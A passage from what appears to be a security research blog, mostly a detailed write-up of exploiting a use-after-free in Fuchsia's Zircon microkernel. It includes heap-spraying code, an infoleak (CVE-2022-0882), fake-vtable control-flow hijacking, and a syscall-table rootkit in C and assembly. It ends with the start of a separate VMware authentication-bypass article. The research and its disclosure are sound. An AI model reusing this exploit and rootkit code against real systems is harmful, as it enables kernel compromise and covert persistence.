You can see that the wrapper_timer_cancel() syscall handler calls sys_timer_cancel(), where GetDispatcherWithRightsImpl<TimerDispatcher>() works with a reference counter and performs use-after-free. This memory access error is detected in asan_check(), which calls panic().

This backtrace helped me to understand how the C++ code of the sys_timer_cancel() function actually works:

// zx_status_t zx_timer_cancel
zx_status_t sys_timer_cancel(zx_handle_t handle) {
  auto up = ProcessDispatcher::GetCurrent();

  fbl::RefPtr<TimerDispatcher> timer;
  zx_status_t status = up->handle_table().GetDispatcherWithRights(handle, ZX_RIGHT_WRITE, &timer);
  if (status != ZX_OK)
    return status;

  return timer->Cancel();
}

When I got Fuchsia OS working with KASAN, I felt confident and ready for the security research.

Syzkaller for Fuchsia (is broken)

After studying the basics of the Fuchsia kernel development workflow, I decided to start the security research. For experiments with Fuchsia kernel security, I needed a Zircon bug for developing a PoC exploit. The simplest way to achieve that was fuzzing.

There is a great coverage-guided kernel fuzzer called syzkaller. I’m fond of this project and its team, and I like to use it for fuzzing the Linux kernel. The syzkaller documentation says that it supports fuzzing Fuchsia, so I tried it in the first place.

However, I ran into trouble due to the unusual software delivery on Fuchsia, which I described earlier. A Fuchsia image for fuzzing must contain syz-executor as a component. syz-executor is a part of the syzkaller project that is responsible for executing the fuzzing input on a virtual machine. But I didn’t manage to build a Fuchsia image with this component.

First, I tried building Fuchsia with external syzkaller source code, according to the syzkaller documentation:

$ fx --dir "out/x64" set core.x64 \
  --with-base "//bundles:tools" \
  --with-base "//src/testing/fuzzing/syzkaller" \
  --args=syzkaller_dir='"/home/a13x/develop/gopath/src/github.com/google/syzkaller/"'
ERROR at //build/go/go_library.gni:43:3 (//build/toolchain:host_x64): Assertion failed.
   assert(defined(invoker.sources), "sources is required for go_library")
   ^-----
sources is required for go_library
See //src/testing/fuzzing/syzkaller/BUILD.gn:106:3: whence it was called.
   go_library("syzkaller-go") {
   ^---------------------------
See //src/testing/fuzzing/syzkaller/BUILD.gn:85:5: which caused the file to be included.
     ":run-sysgen($host_toolchain)",
     ^-----------------------------
ERROR: error running gn gen: exit status 1

It looks like the build system doesn’t handle the syzkaller_dir argument properly. I tried to remove this assertion and debug the Fuchsia build system, but I failed.

Then I found the third_party/syzkaller/ subdirectory in the Fuchsia source code. It contains a local copy of syzkaller sources that is used for building without --args=syzkaller_dir. But it’s quite an old copy: the last commit is from June 2, 2020. Building the current Fuchsia with this old version of syzkaller failed as well because of a number of changes in Fuchsia syscalls, header file locations, and so on.

I tried one more time and updated syzkaller in the third_party/syzkaller/ subdirectory. But building didn’t work because the Fuchsia BUILD.gn file for syzkaller needed a substantial rewriting according to the syzkaller changes.

In short, Fuchsia was integrated with the syzkaller kernel fuzzer once in 2020, but currently this integration is broken. I looked at the Fuchsia version control system to find Fuchsia developers who committed to this functionality. I wrote them an email describing all technical details of this bug, but didn’t get a reply.

Spending more time on the Fuchsia build system was stressing me out.

Thoughts on the research strategy

I reflected on my strategy of the further research.

Viktor Vasnetsov: Vityaz at the Crossroads (1882)

Without fuzzing, successful vulnerability discovery in an OS kernel requires:

  1. Good knowledge of its codebase
  2. Deep understanding of its attack surface

Getting this experience with Fuchsia would require a lot of my time. Did I want to spend a lot of time on my first Fuchsia research? Perhaps not, because:

  • Committing large resources to the first familiarity with the system is not reasonable
  • Fuchsia turned out to be less production-ready than I expected

So I decided to postpone searching for zero-day vulnerabilities in Zircon and try to develop a PoC exploit for the synthetic bug that I had used for testing KASAN. Ultimately, that was a good decision because it gave me quick results and allowed to find other Zircon vulnerabilities along the way.

Discovering a heap spraying exploit primitive for Zircon

So I focused on exploiting use-after-free for TimerDispatcher. My exploitation strategy was simple: overwrite the freed TimerDispatcher object with the controlled data that would make the Zircon timer code work abnormally or, in other words, would turn this code into a weird machine.

First of all, for overwriting TimerDispatcher, I needed to discover a heap spraying exploit primitive that:

  1. Can be used by the attacker from the unprivileged userspace component
  2. Makes Zircon allocate a new kernel object at the location of the freed object
  3. Makes Zircon copy the attacker’s data from the userspace to this new kernel object

I knew from my Linux kernel experience that heap spraying is usually constructed using inter-process communication (IPC). Basic IPC syscalls are usually available for unprivileged programs, according to paragraph 1. They copy userspace data to the kernelspace to transfer it to the recipient, according to paragraph 3. And finally, some IPC syscalls set the data size for the transfer, which gives control over the kernel allocator behavior and allows the attacker to overwrite the target freed object, according to paragraph 2.

That’s why I started to study the Zircon syscalls responsible for IPC. I found Zircon FIFO, which turned out to be an excellent heap spraying primitive. When the zx_fifo_create() syscall is called, Zircon creates a pair of FifoDispatcher objects (see the code in zircon/kernel/object/fifo_dispatcher.cc). Each of them allocates the required amount of kernel memory for the FIFO data:

  auto data0 = ktl::unique_ptr<uint8_t[]>(new (&ac) uint8_t[count * elemsize]);
  if (!ac.check())
    return ZX_ERR_NO_MEMORY;

  KernelHandle fifo0(fbl::AdoptRef(
      new (&ac) FifoDispatcher(ktl::move(holder0), options, static_cast<uint32_t>(count),
                               static_cast<uint32_t>(elemsize), ktl::move(data0))));
  if (!ac.check())
    return ZX_ERR_NO_MEMORY;

With the debugger, I determined that the size of the freed TimerDispatcher object is 248 bytes. I assumed that for successful heap spraying I needed to create Zircon FIFOs of the same data size. This idea worked instantly: in GDB I saw that Zircon overwrote the freed TimerDispatcher with FifoDispatcher data! This is the code for the heap spraying in my PoC exploit:

  printf("[!] do heap spraying...\n");

#define N 10
  zx_handle_t out0[N];
  zx_handle_t out1[N];
  size_t write_result = 0;

  for (int i = 0; i < N; i++) {
    status = zx_fifo_create(31, 8, 0, &out0[i], &out1[i]);
    if (status != ZX_OK) {
      printf("[-] creating a fifo %d failed\n", i);
      return 1;
    }
  }

Here the zx_fifo_create() syscall is executed 10 times. Each of them creates a pair of FIFOs that contain 31 elements. The size of each element is 8 bytes. So this code creates 20 FifoDispatcher objects with 248-byte data buffers.

And here the Zircon FIFOs are filled with the heap spraying payload that is prepared for overwriting the freed TimerDispatcher object:

  for (int i = 0; i < N; i++) {
    status = zx_fifo_write(out0[i], 8, spray_data, 31, &write_result);
    if (status != ZX_OK || write_result != 31) {
      printf("[-] writing to fifo 0-%d failed, error %d, result %zu\n", i, status, write_result);
      return 1;
    }
    status = zx_fifo_write(out1[i], 8, spray_data, 31, &write_result);
    if (status != ZX_OK || write_result != 31) {
      printf("[-] writing to fifo 1-%d failed, error %d, result %zu\n", i, status, write_result);
      return 1;
    }
  }

  printf("[+] heap spraying is finished\n");

Ok, I got the ability to change the TimerDispatcher object contents. But what to write into it to mount the attack?

C++ object anatomy

As a Linux kernel developer, I got used to C structures describing kernel objects. A method of a Linux kernel object is implemented as a function pointer stored in the corresponding C structure. This memory layout is explicit and simple.

But the memory layout of C++ objects in Zircon looked much more complex and obscure to me. I tried to study the anatomy of the TimerDispatcher object and showed it in GDB using the command print -pretty on -vtbl on. The output was a big mess, and I didn’t manage to correlate it with the hexdump of this object. Then I tried the pahole utility for TimerDispatcher. It showed the offsets of the class members, but didn’t help with understanding how class methods are implemented. Class inheritance made the whole picture more complicated.

I decided not to waste my time on studying TimerDispatcher object internals, but try blind practice instead. I used the FIFO heap spraying to overwrite the whole TimerDispatcher with zero bytes and saw what happened. Zircon crashed at the assertion in zircon/system/ulib/fbl/include/fbl/ref_counted_internal.h:57:

    const int32_t rc = ref_count_.fetch_add(1, std::memory_order_relaxed);

    //...
    if constexpr (EnableAdoptionValidator) {
      ZX_ASSERT_MSG(rc >= 1, "count %d(0x%08x) < 1\n", rc, static_cast<uint32_t>(rc));
    }

No problem. I found that this refcount is stored at the 8-byte offset from the beginning of the TimerDispatcher object. To bypass this check, I set the corresponding bytes in the heap spraying payload:

  unsigned int *refcount_ptr = (unsigned int *)&spray_data[8];

  *refcount_ptr = 0x1337C0DE;

Running this PoC on Fuchsia resulted in the next Zircon crash, which was very interesting from the attacker’s point of view. The kernel hit a null pointer dereference in HandleTable::GetDispatcherWithRights<TimerDispatcher>. Stepping through the instructions with GDB helped me to find out that this C++ dark magic causes Zircon to crash:

// Dispatcher -> FooDispatcher
template <typename T>
fbl::RefPtr<T> DownCastDispatcher(fbl::RefPtr<Dispatcher>* disp) {
  return (likely(DispatchTag<T>::ID == (*disp)->get_type()))
             ? fbl::RefPtr<T>::Downcast(ktl::move(*disp))
             : nullptr;
}

Here Zircon calls the get_type() public method of the TimerDispatcher class. This method is referenced using a C++ vtable. The pointer to the TimerDispatcher vtable is stored at the beginning of each TimerDispatcher object. It is great for control-flow hijacking. I would say it is simpler than similar attacks for the Linux kernel, where you need to search for appropriate kernel structures with function pointers.

Zircon KASLR bypass

Control-flow hijacking requires knowledge of kernel symbol addresses, which depend on the KASLR offset. KASLR stands for kernel address space layout randomization. The Zircon source code mentions KASLR many times. An example from zircon/kernel/params.gni:

  # Virtual address where the kernel is mapped statically.  This is the
  # base of addresses that appear in the kernel symbol table.  At runtime
  # KASLR relocation processing adjusts addresses in memory from this base
  # to the actual runtime virtual address.
  if (current_cpu == "arm64") {
    kernel_base = "0xffffffff00000000"
  } else if (current_cpu == "x64") {
    kernel_base = "0xffffffff80100000"  # Has KERNEL_LOAD_OFFSET baked into it.
  }

For Fuchsia, I decided to implement a trick similar to my KASLR bypass for the Linux kernel. My PoC exploit for CVE-2021-26708 used the Linux kernel log for reading kernel pointers to mount the attack. The Fuchsia kernel log contains security-sensitive information as well. So I tried to read the Zircon log from my unprivileged userspace component. I added use: [ { protocol: "fuchsia.boot.ReadOnlyLog" } ] to the component manifest and opened the log with this code:

  zx::channel local, remote;
  zx_status_t status = zx::channel::create(0, &local, &remote);
  if (status != ZX_OK) {
    fprintf(stderr, "Failed to create channel: %d\n", status);
    return -1;
  }

  const char kReadOnlyLogPath[] = "/svc/" fuchsia_boot_ReadOnlyLog_Name;
  status = fdio_service_connect(kReadOnlyLogPath, remote.release());
  if (status != ZX_OK) {
    fprintf(stderr, "Failed to connect to ReadOnlyLog: %d\n", status);
    return -1;
  }

  zx_handle_t h;
  status = fuchsia_boot_ReadOnlyLogGet(local.get(), &h);
  if (status != ZX_OK) {
    fprintf(stderr, "ReadOnlyLogGet failed: %d\n", status);
    return -1;
  }

First, this code creates a Fuchsia channel that will be used for the Fuchsia log protocol. Then it calls fdio_service_connect() for ReadOnlyLog and attaches the channel transport to it. These functions are from the fdio library, which provides a unified interface to a variety of Fuchsia resources: files, sockets, services, and others. Executing this code returns the error:

[ffx-laboratory:a13x_pwns_fuchsia] WARNING: Failed to route protocol `fuchsia.boot.ReadOnlyLog` with
  target component `/core/ffx-laboratory:a13x_pwns_fuchsia`: A `use from parent` declaration was found
  at `/core/ffx-laboratory:a13x_pwns_fuchsia` for `fuchsia.boot.ReadOnlyLog`, but no matching `offer`
  declaration was found in the parent
[ffx-laboratory:a13x_pwns_fuchsia] INFO: [!] try opening kernel log...
[ffx-laboratory:a13x_pwns_fuchsia] INFO: ReadOnlyLogGet failed: -24

That is correct behavior. My component is unprivileged and there is no matching offer declaration of fuchsia.boot.ReadOnlyLog in the parent. No access is granted since this Fuchsia component doesn’t have the required capabilities. No way.

So I dropped the idea of an infoleak from the kernel log. I started browsing through the Fuchsia source code and waiting for another insight. Suddenly I found another way to access the Fuchsia kernel log using the zx_debuglog_create() syscall:

zx_status_t zx_debuglog_create(zx_handle_t resource,
                               uint32_t options,
                               zx_handle_t* out);

The Fuchsia documentation says that the resource argument must have the resource kind ZX_RSRC_KIND_ROOT. My Fuchsia component doesn’t own this resource. Anyway, I tried using zx_debuglog_create() and…

zx_handle_t root_resource; // global var initialized by 0

int main(int argc, const char** argv)
{
  zx_status_t status;
  zx_handle_t debuglog;

  status = zx_debuglog_create(root_resource, ZX_LOG_FLAG_READABLE, &debuglog);
  if (status != ZX_OK) {
    printf("[-] can't create debuglog, no way\n");
    return 1;
  }

And this code worked! I managed to read the Zircon kernel log without the required capabilities and without the ZX_RSRC_KIND_ROOT resource. But why? I was amazed and found the Zircon code responsible for handling this syscall. Here’s what I found:

zx_status_t sys_debuglog_create(zx_handle_t rsrc, uint32_t options, user_out_handle* out) {
  LTRACEF("options 0x%x\n", options);

  // TODO(fxbug.dev/32044) Require a non-INVALID handle.
  if (rsrc != ZX_HANDLE_INVALID) {
    // TODO(fxbug.dev/30918): finer grained validation
    zx_status_t status = validate_resource(rsrc, ZX_RSRC_KIND_ROOT);
    if (status != ZX_OK)
      return status;
  }

A hilarious security check indeed! The Fuchsia bug report system for the issues 32044 and 30918 gave access denied. So I filed a security bug describing that sys_debuglog_create() has an improper capability check leading to a kernel infoleak. By the way, this issue tracker asked for the info in plain text, but by default it renders the report in Markdown (that’s weird, click the Markdown button to disable this behavior).

The Fuchsia maintainers approved this issue and requested a CVE-2022-0882.

Zircon KASLR: nothing to bypass

As reading the Fuchsia kernel log was not a problem any more, I extracted some kernel pointers from it to bypass Zircon KASLR. I was amazed for a second time and laughed again.

Despite KASLR, the kernel pointers were the same on every Fuchsia boot!

See the examples of identical log output. Boot #1:

[0.197] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00263f20 (pmm_boot_memory) at level 0xdffff, flags 0x1
[0.197] 00000:01029> Free memory after kernel init: 8424374272 bytes.
[0.197] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00114040 (kernel_shell) at level 0xe0000, flags 0x1
[0.197] 00000:01029> INIT: cpu 0, calling hook 0xffffffff0029e300 (userboot) at level 0xe0000, flags 0x1
[0.200] 00000:01029> userboot: ramdisk       0x18c5000 @ 0xffffff8003bdd000
[0.201] 00000:01029> userboot: userboot rodata       0 @ [0x2ca730e3000,0x2ca730e9000)
[0.201] 00000:01029> userboot: userboot code    0x6000 @ [0x2ca730e9000,0x2ca73100000)
[0.201] 00000:01029> userboot: vdso/next rodata       0 @ [0x2ca73100000,0x2ca73108000)

Boot #2:

[0.194] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00263f20 (pmm_boot_memory) at level 0xdffff, flags 0x1
[0.194] 00000:01029> Free memory after kernel init: 8424361984 bytes.
[0.194] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00114040 (kernel_shell) at level 0xe0000, flags 0x1
[0.194] 00000:01029> INIT: cpu 0, calling hook 0xffffffff0029e300 (userboot) at level 0xe0000, flags 0x1
[0.194] 00000:01029> userboot: ramdisk       0x18c5000 @ 0xffffff8003bdd000
[0.198] 00000:01029> userboot: userboot rodata       0 @ [0x2bc8b83c000,0x2bc8b842000)
[0.198] 00000:01029> userboot: userboot code    0x6000 @ [0x2bc8b842000,0x2bc8b859000)
[0.198] 00000:01029> userboot: vdso/next rodata       0 @ [0x2bc8b859000,0x2bc8b861000)

The kernel pointers are the same. Zircon KASLR doesn’t work. I filed a security issue in the Fuchsia bug tracker (disable the Markdown mode to see it properly). The Fuchsia maintainers replied that this issue is known to them.

Fuchsia OS turned out to be more experimental than I had expected.

C++ vtables in Zircon

After I realized that Fuchsia kernel functions have constant addresses, I started to study the vtables of Zircon C++ objects. I thought that constructing a fake vtable could enable control-flow hijacking.

As I mentioned, the pointer to the corresponding vtable is stored at the beginning of the object. This is what GDB shows for a TimerDispatcher object:

(gdb) info vtbl *(TimerDispatcher *)0xffffff802c5ae768
vtable for 'TimerDispatcher' @ 0xffffffff003bd11c (subobject @ 0xffffff802c5ae768):
[0]: 0xffdffe64ffdffd24
[1]: 0xffdcb5a4ffe00454
[2]: 0xffdffea4ffdc7824
[3]: 0xffd604c4ffd519f4
...

The weird values like 0xffdcb5a4ffe00454 are definitely not kernel addresses. I looked at the code that works with the TimerDispatcher vtable:

// Dispatcher -> FooDispatcher
template <typename T>
fbl::RefPtr<T> DownCastDispatcher(fbl::RefPtr<Dispatcher>* disp) {
  return (likely(DispatchTag<T>::ID == (*disp)->get_type()))
             ? fbl::RefPtr<T>::Downcast(ktl::move(*disp))
             : nullptr;
}

This high-level C++ nightmare turns into the following simple assembly:

  mov    rax,QWORD PTR [r13+0x0]
  movsxd r11,DWORD PTR [rax+0x8]
  add    r11,rax
  mov    rdi,r13
  call   0xffffffff0031a77c <__x86_indirect_thunk_r11>

Here the r13 register stores the address of the TimerDispatcher object. The vtable pointer resides at the beginning of the object. So after the first mov instruction, the rax register stores the address of the vtable itself. Then the movsxd instruction moves the value 0xffdcb5a4ffe00454 from the vtable to the r11 register. But movsxd also sign-extends this value from a 32-bit source to a 64-bit destination. So 0xffdcb5a4ffe00454 turns into 0xffffffffffe00454. Then the vtable address is added to this value in r11, which forms the address of the TimerDispatcher method:

(gdb) x $r11
0xffffffff001bd570 <_ZNK15TimerDispatcher8get_typeEv>:    0x000016b8e5894855

Fake vtable for the win

Despite this weird pointer arithmetics in Zircon vtables, I decided to craft a fake TimerDispatcher object vtable to hijack the kernel control flow. That led me to the question of where to place my fake vtable. The simplest way is to create it in the userspace. However, Zircon on x86_64 supports SMAP (Supervisor Mode Access Prevention), which blocks access to the userspace data from the kernelspace.

In my Linux Kernel Defence Map, you can see SMAP among various mitigations of control-flow hijacking attacks in the Linux kernel.

I saw multiple ways to bypass SMAP protection by placing the fake vtable in the kernelspace.

  1. For example, Zircon also has physmap like the Linux kernel, which makes the idea of the ret2dir attack for Zircon very promising.
  2. Another idea was to use a kernel log infoleak of some kernel address that points to the data controlled by the attacker.

But to simplify my first security experiment with Fuchsia, I decided to disable SMAP and SMEP in the script starting QEMU and create the fake vtable in my exploit in the userspace:

#define VTABLE_SZ 16
unsigned long fake_vtable[VTABLE_SZ] = { 0 }; // global array

Then I made the exploit use this fake vtable in the heap spraying data that overwrite the TimerDispatcher object:

#define DATA_SZ 512
  unsigned char spray_data[DATA_SZ] = { 0 };
  unsigned long **vtable_ptr = (unsigned long **)&spray_data[0];

  // Control-flow hijacking in DownCastDispatcher():
  //   mov    rax,QWORD PTR [r13+0x0]
  //   movsxd r11,DWORD PTR [rax+0x8]
  //   add    r11,rax
  //   mov    rdi,r13
  //   call   0xffffffff0031a77c <__x86_indirect_thunk_r11>

  *vtable_ptr = &fake_vtable[0]; // address in rax
  fake_vtable[1] = (unsigned long)pwn - (unsigned long)*vtable_ptr; // value for DWORD PTR [rax+0x8]

This looks tricky, but fear not, you’ll like it!

Here the spray_data array stores the data for zx_fifo_write() overwriting TimerDispatcher. The vtable pointer resides at the beginning of the TimerDispatcher object, so vtable_ptr is initialized by the address of spray_data[0]. Then the address of the fake_vtable global array is written to the beginning of the spray_data. This address will appear in the rax register in DownCastDispatcher(), which I described above. The fake_vtable[1] element (or DWORD PTR [rax+0x8]) should store the value for calculating the function pointer of the TimerDispatcher.get_type() method. To calculate this value, I subtract the address of the fake vtable from the address of my pwn() function, which I’m going use to attack the Zircon kernel.

This is the magic that happens with the addresses when the exploit is executed. The real example:

  1. The fake_vtable array is at 0x35aa74aa020 and the pwn() function is at 0x35aa74a80e0
  2. fake_vtable[1] is 0x35aa74a80e0 - 0x35aa74aa020 = 0xffffffffffffe0c0. In DownCastDispatcher() this value appears in DWORD PTR [rax+0x8]
  3. After Zircon executes the movsxd r11, DWORD PTR [rax+0x8], the r11 register stores 0xffffffffffffe0c0
  4. Adding rax with 0x35aa74aa020 to r11 gives 0x35aa74a80e0, which is the exact address of pwn()
  5. So when Zircon calls __x86_indirect_thunk_r11 the control flow goes to the pwn() function of the exploit.

What to hack in Fuchsia?

After achieving arbitrary code execution in the Zircon kernelspace, I started to think about what to attack with it.

My first thought was to forge a fake ZX_RSRC_KIND_ROOT superpower resource, which I had previously seen in zx_debuglog_create(). But I didn’t manage to engineer privilege escalation using ZX_RSRC_KIND_ROOT, because this resource is not used that much in the Fuchsia source code.

Knowing that Zircon is a microkernel, I realized that privilege escalation requires attacking the inter-process communication (IPC) that goes through the microkernel. In other words, I needed to use arbitrary code execution in Zircon to hijack the IPC between Fuchsia userspace components, for example, between my unprivileged exploit component and some privileged entity like the Component Manager.

I returned to studying the Fuchsia userspace, which was messy and boring… But suddenly I got an idea:

What about planting a rootkit into Zircon?

That looked much more interesting, so I switched to investigating how Zircon syscalls work.

Fuchsia syscalls

The life of a Fuchsia syscall is briefly described in the documentation. Like the Linux kernel, Zircon also has a syscall table. On x86_64, Zircon defines the x86_syscall() function in fuchsia/zircon/kernel/arch/x86/syscall.S, which has the following code (I removed the comments):

    cmp     $ZX_SYS_COUNT, %rax
    jae     .Lunknown_syscall
    leaq    .Lcall_wrapper_table(%rip), %r11
    movq    (%r11,%rax,8), %r11
    lfence
    jmp     *%r11

Here’s how this code looks in the debugger:

   0xffffffff00306fc8 <+56>:    cmp    rax,0xb0
   0xffffffff00306fce <+62>:    jae    0xffffffff00306fe1 <x86_syscall+81>
   0xffffffff00306fd0 <+64>:    lea    r11,[rip+0xbda21]        # 0xffffffff003c49f8
   0xffffffff00306fd7 <+71>:    mov    r11,QWORD PTR [r11+rax*8]
   0xffffffff00306fdb <+75>:    lfence 
   0xffffffff00306fde <+78>:    jmp    r11

Aha, it shows that the syscall table is at 0xffffffff003c49f8. Let’s see the contents:

(gdb) x/10xg 0xffffffff003c49f8
0xffffffff003c49f8:    0xffffffff00307040  0xffffffff00307050
0xffffffff003c4a08:    0xffffffff00307070  0xffffffff00307080
0xffffffff003c4a18:    0xffffffff00307090  0xffffffff003070b0
0xffffffff003c4a28:    0xffffffff003070d0  0xffffffff003070f0
0xffffffff003c4a38:    0xffffffff00307110  0xffffffff00307130

$ disassemble 0xffffffff00307040
Dump of assembler code for function x86_syscall_call_bti_create:
   0xffffffff00307040 <+0>:    mov    r8,rcx
   0xffffffff00307043 <+3>:    mov    rcx,r10
...

Here the first address 0xffffffff00307040 in the syscall table points to the x86_syscall_call_bti_create() function. It is system call number zero, which is defined in the auto-generated file kernel-wrappers.inc in the gen/zircon/vdso/include/lib/syscalls/ directory. And the last syscall there is x86_syscall_call_vmo_create_physical() at 0xffffffff00307d10, which is number 175 (see ZX_SYS_COUNT defined as 176). Showing the whole syscall table plus a bit more:

(gdb) x/178xg 0xffffffff003c49f8
0xffffffff003c49f8:    0xffffffff00307040  0xffffffff00307050
0xffffffff003c4a08:    0xffffffff00307070  0xffffffff00307080
0xffffffff003c4a18:    0xffffffff00307090  0xffffffff003070b0
...
0xffffffff003c4f58:    0xffffffff00307ce0  0xffffffff00307cf0
0xffffffff003c4f68:    0xffffffff00307d00  0xffffffff00307d10
0xffffffff003c4f78 <_ZN6cpu_idL21kTestDataCorei5_6260UE>:    0x0300010300000300  0x0004030003030002

Yes, the function pointer 0xffffffff00307d10 of the last syscall is right at the end of the syscall table. That knowledge was enough for my experiments with a rootkit.

Planting a rootkit into Zircon

As a first experiment, I overwrote the whole syscall table with 0x41 in my pwn() function. As I mentioned, this function is executed as a result of control-flow hijacking in Zircon. For overwriting the read-only syscall table, I used the old-school classic of changing the WP bit in the CR0 register:

#define SYSCALL_TABLE 0xffffffff003c49f8
#define SYSCALL_COUNT 176

int pwn(void)
{
  unsigned long cr0_value = read_cr0();

  cr0_value = cr0_value & (~0x10000); // Set WP flag to 0

  write_cr0(cr0_value);

  memset((void *)SYSCALL_TABLE, 0x41, sizeof(unsigned long) * SYSCALL_COUNT);
}

The CR0 helpers:

void write_cr0(unsigned long value)
{
  __asm__ volatile("mov %0, %%cr0" : : "r"(value));
}

unsigned long read_cr0(void)
{
  unsigned long value;
  __asm__ volatile("mov %%cr0, %0" : "=r"(value));
  return value;
}

The result:

(gdb) x/178xg 0xffffffff003c49f8
0xffffffff003c49f8:    0x4141414141414141  0x4141414141414141
0xffffffff003c4a08:    0x4141414141414141  0x4141414141414141
0xffffffff003c4a18:    0x4141414141414141  0x4141414141414141
...
0xffffffff003c4f58:    0x4141414141414141  0x4141414141414141
0xffffffff003c4f68:    0x4141414141414141  0x4141414141414141
0xffffffff003c4f78 <_ZN6cpu_idL21kTestDataCorei5_6260UE>:    0x0300010300000300  0x0004030003030002

Good. Then I started to think about how to hijack the Zircon syscalls. Doing that similarly to the Linux kernel rootkits was not possible: a usual Linux rootkit is a kernel module that provides hooks as functions from that particular module in the kernelspace. But in my case, I was trying to plant a rootkit from the userspace exploit into the microkernel. Implementing the rootkit hooks as userspace functions in the exploit process context could not work.

So I decided to turn some kernel code from Zircon into my rootkit hooks. My first candidate for overwriting was the assert_fail_msg() function, which drove me nuts during exploit development. That function was big enough, so I had a lot of space to place my hook payload.

I wrote my rootkit hook for the zx_process_create() syscall in C, but didn’t like the assembly of that hook generated by the compiler. So I reimplemented it in asm. Let’s look at the code, I like this part:

#define XSTR(A) STR(A)
#define STR(A) #A

#define ZIRCON_ASSERT_FAIL_MSG 0xffffffff001012e0
#define HOOK_CODE_SIZE 60
#define ZIRCON_PRINTF 0xffffffff0010fa20
#define ZIRCON_X86_SYSCALL_CALL_PROCESS_CREATE 0xffffffff003077c0

void process_create_hook(void)
{
  __asm__ ( "push %rax;"
        "push %rdi;"
        "push %rsi;"
        "push %rdx;"
        "push %rcx;"
        "push %r8;"
        "push %r9;"
        "push %r10;"
        "xor %al, %al;"
        "mov $" XSTR(ZIRCON_ASSERT_FAIL_MSG + 1 + HOOK_CODE_SIZE) ",%rdi;"
        "mov $" XSTR(ZIRCON_PRINTF) ",%r11;"
        "callq *%r11;"
        "pop %r10;"
        "pop %r9;"
        "pop %r8;"
        "pop %rcx;"
        "pop %rdx;"
        "pop %rsi;"
        "pop %rdi;"
        "pop %rax;"
            "mov $" XSTR(ZIRCON_X86_SYSCALL_CALL_PROCESS_CREATE) ",%r11;"
        "jmpq *%r11;");
}
  1. This hook saves (pushes to the stack) all the registers that can be clobbered by the subsequent function calls.
  2. Then I prepare and call the Zircon printf() kernel function:
    • The first argument of this function is provided via the rdi register. It stores the address of the string that I want to print to the kernel log. More details on this will come later. The trick with STR and XSTR macros is used for the stringizing; you can read about it in the GCC documentation.
    • Zero al indicates that no vector arguments are passed to this function with a variable number of arguments.
    • The r11 register stores the address of the Zircon printf() function, which is called by the callq *%r11 instruction.
  3. After calling the kernel printf(), the clobbered registers are restored.
  4. Finally, the hooked jumps to the original syscall zx_process_create().

And now the most interesting part: the rootkit planting. The pwn() function copies the code of the hook from the exploit binary into the Zircon kernel code at the address of assert_fail_msg().

#define ZIRCON_ASSERT_FAIL_MSG 0xffffffff001012e0
#define HOOK_CODE_OFFSET 4
#define HOOK_CODE_SIZE 60

  char *hook_addr = (char *)ZIRCON_ASSERT_FAIL_MSG;
  hook_addr[0] = 0xc3; // ret to avoid assert
  hook_addr++;
  memcpy(hook_addr, (char *)process_create_hook + HOOK_CODE_OFFSET, HOOK_CODE_SIZE);
  hook_addr += HOOK_CODE_SIZE;
  const char *pwn_msg = "ROOTKIT HOOK: syscall 102 process_create()\n";
  strncpy(hook_addr, pwn_msg, strlen(pwn_msg) + 1);

#define SYSCALL_N_PROCESS_CREATE 102
#define SYSCALL_TABLE 0xffffffff003c49f8

  unsigned long *syscall_table_item = (unsigned long *)SYSCALL_TABLE;
  syscall_table_item[SYSCALL_N_PROCESS_CREATE] = (unsigned long)ZIRCON_ASSERT_FAIL_MSG + 1; // after ret

  return 42; // don't pass the type check in DownCastDispatcher
  1. hook_addr is initialized with the address of the assert_fail_msg() kernel function.
  2. The first byte of this function is overwritten with 0xc3, which is the ret instruction. I do that to skip the Zircon crashes on assertions; now the assertion handling returns immediately.
  3. The exploit copies the code of my rootkit hook for the zx_process_create() syscall to the kernelspace. I described process_create_hook() above.
  4. The exploit copies the message string that I want to print on every zx_process_create() syscall. The hook will execute mov $" XSTR(ZIRCON_ASSERT_FAIL_MSG + 1 + HOOK_CODE_SIZE) ",%rdi, and the address of this string will get into rdi. Now you see why I added 1 byte to this address: it’s for the additional ret instruction at the beginning of assert_fail_msg().
  5. The address of the hook ZIRCON_ASSERT_FAIL_MSG + 1 is written to the syscall table, item number 102, which is for the zx_process_create() syscall handler.
  6. Finally, the pwn() exploit function returns 42. As I mentioned, Zircon uses my fake vtable and executes this function instead of the TimerDispatcher.get_type() method. The original get_type() method of this kernel object returns 16 to pass the type check and proceed handling. And here I return 42 to fail this check and finish the zx_timer_cancel() system call, which hit use-after-free.

Ok, the rootkit is now planted into the Zircon microkernel of Fuchsia OS!

Exploit demo

I implemented a similar rootkit hook for the zx_process_exit() syscall at the place of the assert_fail() kernel function. So the rootkit prints the messages to the kernel log upon process creation and exiting. See the exploit demo:

Conclusion

That’s how I came across Fuchsia OS and its Zircon microkernel. This work was a refreshing experience for me. I’d wanted to try my kernel-hacking skills on this interesting OS for a long time ever since I heard about it at the Linux Security Summit 2018 in Vancouver. So I’m glad of this research.

In this article, I gave an overview of the Fuchsia operating system, its security architecture, and the kernel development workflow. I assessed it from the attacker’s perspective and shared the results of my exploit development experiments for the Zircon microkernel. I followed the responsible disclosure process for the Fuchsia security issues discovered during this research.

This is one of the first public researches on Fuchsia OS security. I believe this article will be useful for the OS security community, since it spotlights practical aspects of microkernel vulnerability exploitation and defense. I hope that my work will inspire you too to do kernel hacking. Thanks for reading!

Catching bugs in VMware: Carbon Black Cloud Workload Appliance and vRealize Operations Manager

By: admin
25 February 2022 at 11:23

Last year we found a lot of exciting vulnerabilities in VMware products. The vendor was notified and they have since been patched. This is the second part of our research. This article covers an Authentication Bypass in VMware Carbon Black Cloud Workload Appliance (CVE-2021-21978) and an exploit chain in VMware vRealize Operations (CVE-2021-21975, CVE-2021-22023, CVE-2021-21983) which led to Remote Code Execution.

VMware Carbon Black Cloud Workload Appliance

Our story begins with a vulnerability in the VMware Carbon Black Cloud Workload Appliance, where we managed to bypass the authentication mechanism and gain access to the administrative console.

The appliance is hosted on-premise and is the link between an organization’s infrastructure and VMware Carbon Black Cloud, which is endpoint protection platform.

Carbon Black Cloud Workload Components

By checking the ports available on 0.0.0.0 using the netstat command, we found a web-application on port 443.

Output of netstat command
Application login page

The front-end server was an Envoy proxy server. Upon looking into its configuration file, we determined that further requests are proxied to tomcat-based microservices.

